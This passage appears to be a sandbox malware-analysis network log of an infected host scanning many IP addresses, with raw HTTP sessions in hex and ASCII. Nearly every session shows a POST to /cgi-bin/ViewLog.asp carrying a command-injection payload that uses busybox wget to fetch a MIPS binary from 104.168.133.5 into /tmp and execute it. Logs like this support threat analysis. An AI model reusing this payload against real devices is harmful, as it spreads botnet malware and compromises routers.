                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:36.291799068 CET1340INHTTP/1.1 400 Bad Request
                                                Server: squid/4.10
                                                Mime-Version: 1.0
                                                Date: Thu, 23 Nov 2023 04:22:37 GMT
                                                Content-Type: text/html;charset=utf-8
                                                Content-Length: 1041
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                X-Cache: MISS from Dexter-Proxy
                                                X-Cache-Lookup: NONE from Dexter-Proxy:8080
                                                Via: 1.1 Dexter-Proxy (squid/4.10)
                                                Connection: close
                                                Data Raw: 3c 21 2d 2d 44 65 78 74 65 72 45 73 6b 61 6c 61 72 74 65 2d 2d 3e 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 45 43 55 52 45 20 50 52 4f 58 59 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 74 73 77 61 74 63 68 2e 63 6f 6d 2f 34 2f 73 6c 61 74 65 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 50 72 65 73 73 2b 53 74 61 72 74 2b 32 50 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 50 72 65 73 73 20 53 74 61 72 74 20 32 50 22 2c 20 63 75 72 73 69 76 65 3b 7d 2e 66 6e 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 23 66 66 66 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 39 32 64 65 67 2c 20 23 66 33 35 36 32 36 2c 20 23 66 65 61 62 33 61 29 3b 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 74 65 78 74 3b 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 66 69 6c 6c 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 68 75 65 20 35 73 20 69 6e 66 69 6e 69 74 65 20 6c 69 6e 65 61 72 3b 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 68 75 65 7b 66 72 6f 6d 7b 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 3a 20 68 75 65 2d 72 6f 74 61 74 65 28 30 64 65 67 29 3b 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 3a 20 68 75 65 2d 72 6f 74 61 74 65 28 2d 33 36 30 64 65 67 29 3b 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 35 30 70 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 75 6d 62 6f 74 72 6f 6e 22 3e 3c 68 31 20 63 6c 61 73 73 3d 22 64 69 73 70 6c 61 79 2d 33 20 74 65 78 74 2d 63 65 6e 74 65 72 20 66 6e 2d 63 6f 6c 6f 72 22 3e 53 45 43 55 52 45 20 50 52 4f 58 59 3c 2f 68 31 3e 3c 68 34 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65
                                                Data Ascii: ...DexterEskalarte--><!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>SECURE PROXY</title><meta name="viewport" content="width=device-width, initial-scale=1"><meta http-equiv="X-UA-Compatible" content="IE=edge"/><link rel="stylesheet" href="https://bootswatch.com/4/slate/bootstrap.min.css" media="screen"><link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet"><style>body{font-family: "Press Start 2P", cursive;}.fn-color{color: #ffff; background-image: -webkit-linear-gradient(92deg, #f35626, #feab3a); -webkit-background-clip: text; -webkit-text-fill-color: transparent; -webkit-animation: hue 5s infinite linear;}@-webkit-keyframes hue{from{-webkit-filter: hue-rotate(0deg);}to{-webkit-filter: hue-rotate(-360deg);}}</style></head><body><div class="container" style="padding-top: 50px"><div class="jumbotron"><h1 class="display-3 text-center fn-color">SECURE PROXY</h1><h4 class="text-cente


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                606192.168.2.154242085.207.246.1838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.447536945 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:37.560708046 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                607192.168.2.156084094.122.77.68080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.464200974 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                608192.168.2.155237231.200.30.1288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.475146055 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                609192.168.2.153729694.156.174.868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.748670101 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                610192.168.2.153824294.120.21.48080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.768846035 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                611192.168.2.154692485.133.222.578080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.791968107 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                612192.168.2.156079095.86.102.18080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.916547060 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                613192.168.2.154396494.120.63.998080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.991065025 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                614192.168.2.154838894.120.253.1068080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.991774082 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                615192.168.2.153739294.120.212.1308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.991777897 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                616192.168.2.154569894.120.242.1108080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.991774082 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                617192.168.2.154183494.122.19.138080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.991837978 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                618192.168.2.154430062.29.116.1278080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:36.996362925 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                619192.168.2.154292295.86.113.1298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:37.002077103 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                620192.168.2.1534630157.52.219.21023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:37.180022001 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 33 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:30Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                621192.168.2.154141831.136.95.2408080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:37.435209990 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.568728924 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:46.712476969 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.744282007 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                622192.168.2.1534716157.52.219.21023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:37.492775917 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
